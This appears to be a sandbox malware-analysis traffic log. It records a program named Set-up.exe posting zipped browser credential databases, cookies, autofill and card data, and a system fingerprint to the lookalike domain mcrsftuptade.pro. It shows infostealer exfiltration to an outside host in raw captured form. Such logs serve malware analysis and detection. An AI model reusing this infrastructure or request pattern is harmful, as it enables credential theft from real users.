00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: PK\d!Rb/g1/0/key3.dbPK\d!Rb/g1/0/key4.dbSQLite format 3@ .jz<{{{a{zz<z [TRUNCATED]
May 10, 2025 08:05:39.881551981 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:39.881614923 CEST	5432	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:39.881697893 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:39.881748915 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:39.881831884 CEST	8148	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:39.881865025 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:39.881963968 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:40.023583889 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:40.023638964 CEST	5432	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:40.023669958 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:41.758254051 CEST	716	IN	HTTP/1.1 200 OK Date: Sat, 10 May 2025 06:05:41 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5nMZhLJcJLkWc8Kew7g0szsw2tpgjlqj%2BMn3p9%2FFfIgvLW8%2BLHprNc7fJXlw0m7wf%2FqZ6TryW1m%2F6PGQInLJyK73aTt0JrzNdKIQo7ClHU2PAGmVWwXdHxFU%2B%2FSqWpqVSozG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 93d73f03dcbf0111-PHX server-timing: cfL4;desc="?proto=TCP&rtt=142109&min_rtt=142109&rtt_var=71054&sent=275&recv=389&lost=0&retrans=0&sent_bytes=0&recv_bytes=525070&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49727	188.114.96.3	80	7572	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
May 10, 2025 08:05:43.706265926 CEST	13580	OUT	POST /Up/b HTTP/1.1 Host: mcrsftuptade.pro Connection: close Content-Length: 41643 Content-Type: application/octet-stream Data Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 af 7d e8 83 00 a0 00 00 00 a0 00 00 0e 00 00 00 62 2f 63 38 2f 30 2f 43 6f 6f 6b 69 65 73 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 10 00 01 01 00 40 20 20 00 00 00 13 00 00 00 0a 00 00 00 0a 00 00 00 03 00 00 00 17 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 00 2e 7a 70 0d 0d 18 00 04 09 f1 00 0f 67 0f cf 0a ae 09 f1 09 f1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: PK\d!R}b/c8/0/CookiesSQLite format 3@ .zpg [TRUNCATED]
May 10, 2025 08:05:43.847440004 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:43.847476006 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:43.847537994 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:43.847573042 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:43.847614050 CEST	2716	OUT	Data Raw: 53 4d 4f 66 6d 2d 4c 30 52 6e 53 38 2f 73 69 67 6e 69 6e 2d 6f 69 64 63 02 01 bb 07 3b 09 37 0d 09 3d 0f 01 02 01 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2e 41 73 70 4e 65 74 43 6f 72 65 2e 41 75 74 68 50 72 6f 76 69 64 65 Data Ascii: SMOfm-L0RnS8/signin-oidc;7=support.microsoft.com.AspNetCore.AuthProvider/I7Ysupport.microsoft.comMicrosoftApplicationsTelemetryDeviceId/#).microsoft.comak_bmsc/(7support.microsoft.comEXPID/%1
May 10, 2025 08:05:43.847637892 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:43.847671032 CEST	2716	OUT	Data Raw: 47 99 4b 3a 24 11 92 69 64 8a e7 32 cc 2b 1d 2e 60 32 91 7c 92 1a bc 58 4c 53 9d 64 68 58 f9 c0 74 43 23 d8 13 68 9a f8 e3 f6 1a 9a b8 cd 70 7e 1a 5c 4b d8 a9 16 c5 94 51 b5 83 e5 29 7c c0 1d 56 fe 9d c9 4b 77 a1 81 24 2b 94 c4 1b 03 da c4 21 ee Data Ascii: GK:$id2+.`2\|XLSdhXtC#hp~\KQ)\|VKw$+!{s)T52$EJ^a[P@4 N}TFn_8///Tm/Tm)#K/ewGj.c.bing.co
May 10, 2025 08:05:43.847697973 CEST	2716	OUT	Data Raw: 2f 16 16 06 2f 0d 17 0d 81 4b 0f 06 09 08 06 09 09 09 08 01 02 06 08 09 00 2f 65 77 47 97 5c 6b 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 53 52 4d 5f 49 76 32 30 ca 6b c1 b0 08 30 b6 c5 26 b9 03 d2 01 3a c5 b6 fd 2f 34 62 79 f2 37 f8 1d Data Ascii: //K/ewG\k.c1.microsoft.comSRM_Iv20k0&:/4by7*RUC>Rv%8Sj9#)4YLs(P`(//k/ewG\k/ewG\o)#K/ewGs.c.bing.comSRM_Iv20h)Dh_g
May 10, 2025 08:05:43.847738981 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:43.847773075 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:44.319427967 CEST	703	IN	HTTP/1.1 200 OK Date: Sat, 10 May 2025 06:05:44 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=beH5WKSZJN0C4JbS466IFslIWf1aKcEW0rF2yZ%2F0stvCSYPYaLf8Q0EyeVMRxzBedYqXENtkP%2B4h4KDJGzvGJwOR90lBb7dAf0FHYfljuAvJVUP16LD2eiZDMBmqAmarudP4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 93d73f1c9c095711-PHX server-timing: cfL4;desc="?proto=TCP&rtt=141123&min_rtt=141123&rtt_var=70561&sent=23&recv=33&lost=0&retrans=0&sent_bytes=0&recv_bytes=41772&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49728	188.114.96.3	80	7572	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
May 10, 2025 08:05:44.586924076 CEST	13580	OUT	POST /Up/b HTTP/1.1 Host: mcrsftuptade.pro Connection: close Content-Length: 623250 Content-Type: application/octet-stream Data Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 33 2e 64 62 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 f5 ac e0 c4 00 80 04 00 00 80 04 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 34 2e 64 62 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 80 00 01 01 00 40 20 20 00 00 00 02 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 2e 6a d0 0d 7f f8 00 08 7a 3c 00 7b ee 7f c3 7b a9 7b 61 7b 1f 7a db 7a 3c 7a aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: PK\d!Rb/g1/0/key3.dbPK\d!Rb/g1/0/key4.dbSQLite format 3@ .jz<{{{a{zz<z [TRUNCATED]
May 10, 2025 08:05:44.727869987 CEST	9506	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:44.728013992 CEST	17654	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:44.869349003 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:44.869518042 CEST	51604	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:45.011351109 CEST	1358	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:45.011447906 CEST	25802	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:45.011557102 CEST	21728	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:45.011624098 CEST	16296	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:45.011684895 CEST	13580	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:45.011737108 CEST	6790	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:46.166557074 CEST	716	IN	HTTP/1.1 200 OK Date: Sat, 10 May 2025 06:05:46 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V%2F0flg6yYBmnB29Ez%2BuMos42czo76A7ipXz%2FhauZZcl4vEpIgRJlk6vha%2FT8DIMVOT1VZn%2BJG8eTRVOxxROO8cthQKM%2FU7EBkc4XFe157nixMBYubgf%2BZ0jJPbjpyq0K6QKU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 93d73f2228cfb66b-PHX server-timing: cfL4;desc="?proto=TCP&rtt=140951&min_rtt=140951&rtt_var=70475&sent=270&recv=463&lost=0&retrans=0&sent_bytes=0&recv_bytes=623380&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49729	188.114.96.3	80	7572	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
May 10, 2025 08:05:46.381714106 CEST	612	OUT	POST /Up/p HTTP/1.1 Host: mcrsftuptade.pro Connection: close Content-Length: 485 Content-Type: application/octet-stream Data Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 42 19 07 7a 33 01 00 00 33 01 00 00 28 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 7b 22 6f 22 3a 22 57 69 6e 64 6f 77 73 20 31 30 22 2c 22 75 6e 22 3a 22 6a 6f 6e 65 73 22 2c 22 70 22 3a 22 4a 4f 4e 45 53 2d 50 43 22 2c 22 61 22 3a 22 78 36 34 22 2c 22 63 22 3a 34 2c 22 6c 22 3a 22 31 37 34 36 38 35 37 31 33 32 39 32 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 22 2c 22 62 74 22 3a 22 47 41 53 22 2c 22 68 69 22 3a 22 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 22 2c 22 64 6e 22 3a 22 6e 75 6c 6c 22 2c 22 64 70 22 3a 22 32 32 32 22 2c 22 73 22 3a 22 31 32 38 30 78 31 30 32 34 22 2c 22 72 22 3a 34 30 39 35 2c 22 65 6c 22 3a 66 61 6c 73 65 2c 22 6c 74 22 3a 22 6e 75 6c 6c 22 2c 22 69 73 22 3a 5b 5d 2c 22 6c 69 22 3a 5b 5d 2c 22 70 6c 22 3a 5b 5d 2c 22 [TRUNCATED] Data Ascii: PK\d!RBz33(f1575b64-8492-4e8b-b102-4d26e8c70371.txt{"o":"Windows 10","un":"user","p":"user-PC","a":"x64","c":4,"l":"1746857132929e146be9-c76a-4720-bcdb-53011b87bd06","bt":"GAS","hi":"9e146be9-c76a-4720-bcdb-53011b87bd06","dn":"null","dp":"222","s":"1280x1024","r":4095,"el":false,"lt":"null","is":[],"li":[],"pl":[],"g":["Microsoft Basic Display Adapter"]}PK\d!RBz33(f1575b64-8492-4e8b-b102-4d26e8c70371.txtPKVy
May 10, 2025 08:05:46.677840948 CEST	707	IN	HTTP/1.1 200 OK Date: Sat, 10 May 2025 06:05:46 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FnuVyqGOQHpNg%2FPXX%2FLuu0ajUdEWO993sp4IIvF5ACsZY8Zk16qhh%2F71K1VK40hmQDZsZJRuki%2B3JVleZ0gHSgkudgp4hSy6AiuaXlhp3QTfwwPU1jRvNtSX82trkl%2F%2FxqNi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 93d73f2d583797fd-PHX server-timing: cfL4;desc="?proto=TCP&rtt=141845&min_rtt=141845&rtt_var=70922&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=612&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49730	188.114.96.3	80	7572	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
May 10, 2025 08:05:48.233824968 CEST	13580	OUT	POST /Up/b HTTP/1.1 Host: mcrsftuptade.pro Connection: close Content-Length: 139949 Content-Type: application/octet-stream Data Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 74 aa 79 19 00 20 02 00 00 20 02 00 0f 00 00 00 62 2f 63 38 2f 30 2f 57 65 62 20 44 61 74 61 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 08 00 01 01 00 40 20 20 00 00 00 06 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 4a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 00 2e 7a 70 05 00 00 00 05 07 e7 00 00 00 00 3c 07 fb 07 f6 07 f1 07 ec 07 e7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: PK\d!Rty b/c8/0/Web DataSQLite format 3@ DJ.zp< [TRUNCATED]
May 10, 2025 08:05:48.375174999 CEST	8148	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:48.375255108 CEST	5432	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:48.375293970 CEST	2716	OUT	Data Raw: 72 76 65 72 5f 63 61 72 64 5f 6d 65 74 61 64 61 74 61 13 43 52 45 41 54 45 20 54 41 42 4c 45 20 73 65 72 76 65 72 5f 63 61 72 64 5f 6d 65 74 61 64 61 74 61 20 28 69 64 20 56 41 52 43 48 41 52 20 4e 4f 54 20 4e 55 4c 4c 2c 20 75 73 65 5f 63 6f 75 Data Ascii: rver_card_metadataCREATE TABLE server_card_metadata (id VARCHAR NOT NULL, use_count INTEGER NOT NULL DEFAULT 0, use_date INTEGER NOT NULL DEFAULT 0, billing_address_id VARCHAR)-??Etableautofi
May 10, 2025 08:05:48.375313044 CEST	5432	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:48.375349998 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:48.375559092 CEST	2716	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:48.517231941 CEST	10864	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:48.517334938 CEST	43456	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 10, 2025 08:05:48.659492970 CEST	16296	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
